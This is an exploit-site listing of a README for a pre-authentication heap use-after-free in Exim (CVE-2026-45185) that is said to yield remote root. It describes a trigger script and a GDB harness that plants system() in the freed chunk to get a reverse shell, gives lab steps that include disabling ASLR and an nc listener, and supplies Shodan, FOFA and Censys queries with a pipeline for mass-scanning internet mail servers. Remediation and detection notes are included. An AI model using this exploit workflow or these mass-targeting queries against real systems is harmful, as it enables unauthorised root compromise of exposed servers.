Sploitus

Exploit for Use After Free in Exim

githubexploit Β· 2026-08-07

Exploit Code

README171 lines
## https://sploitus.com/exploit?id=E7C2F65C-EBD7-5DF8-AEAB-303AEE20F6D3
# CVE-2026-45185 β€” Dead.Letter: Exim Heap UAF to Remote Root

**CVSS 9.8 Critical** | Exim 4.97–4.99.2 | Ubuntu / GnuTLS builds | Unauthenticated

> Full write-up with GDB trace, step-by-step analysis, and global exposure data:  
> **https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html**

---

## What is it

Sending a TLS `close_notify` alert while Exim is mid-BDAT body transfer causes
`tls_close()` to call `gnutls_deinit()`, freeing the 7,304-byte `gnutls_session_int`
struct. The BDAT receive layer holds a stale pointer. When the body-read loop resumes,
`tls_getbuf β†’ gnutls_record_recv` dereferences the freed session β€” heap use-after-free,
pre-authentication, no credentials required.

**Fixed in Exim 4.99.3.**

---

## Affected

| Condition | Required |
|-----------|----------|
| Exim version | 4.97, 4.97.x, 4.98, 4.98.x, 4.99.0, 4.99.1, 4.99.2 |
| Build | Ubuntu / Debian with GnuTLS (`libgnutls28-dev`) |
| Feature | `CHUNKING` advertised in EHLO (on by default) |

Alpine Linux and self-compiled Exim linked against OpenSSL are **not affected**.

---

## Files

| File | Purpose |
|------|---------|
| `poc.py` | UAF trigger β€” stdlib only, no pip. Safe to run against your own servers. Reaches the UAF path and stops (no payload). |
| `diag19_gdb.py` | GDB exploit harness β€” 7 breakpoints, writes `system()` into freed chunk after `gnutls_deinit()` returns. **Lab only** (requires ASLR off + matched library versions). |
| `CVE-2026-45185.yaml` | Nuclei template β€” detects all three preconditions via EHLO fingerprint + BDAT probe. Safe, read-only detection. |

---

## poc.py β€” UAF trigger

```bash
python3 poc.py   

# example
python3 poc.py mail.example.com 587 postmaster@example.com
```

If the server stays alive after the trigger, the UAF path exists. If it crashes,
something has changed in tcache behavior.

---

## diag19_gdb.py β€” GDB harness (lab only)

### Docker lab setup (5 minutes)

```bash
# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim β€” enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444
```

**Before running:** edit `CMD` in `diag19_gdb.py` to point to your listener IP.  
The `SYSTEM` address is resolved dynamically at load β€” no manual lookup needed.  
The two addresses inside `PostTlsCloseFin` (`lwr_receive_getbuf`, `tls_getbuf`) are
Exim-internal and must match your build:

```gdb
(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf
```

---

## CVE-2026-45185.yaml β€” Nuclei detection

```bash
# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt
```

### Detection logic

The template runs two independent stages:

1. **EHLO fingerprint** β€” sends EHLO, matches on all three required conditions:
   - Version regex `4.97–4.99.2`
   - `Ubuntu` in banner (GnuTLS linkage confirmed)
   - `CHUNKING` in capabilities

2. **BDAT probe** β€” sends `BDAT 200` without RCPT TO, matches Exim's specific `503`:
   ```
   503 valid RCPT command must precede BDAT
   ```

### Mass scan queries

```
# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"
```

---

## Remediation

**Upgrade to Exim 4.99.3 or later** (official patch).

Workaround (no exploit path, no restart required for testing):
```
# exim4.conf
chunking_advertise_hosts = !*
```
Then `service exim4 restart`.

---

## Timeline

| Date | Event |
|------|-------|
| 2026-06-10 | CVE assigned by XBOW |
| 2026-06-24 | Public advisory released |
| 2026-08-07 | Lab RCE confirmed; this write-up + PoC published |

---

## References

- Write-up: https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
- XBOW advisory: https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-45185

---

*by [@0Init](https://twitter.com/0Init)*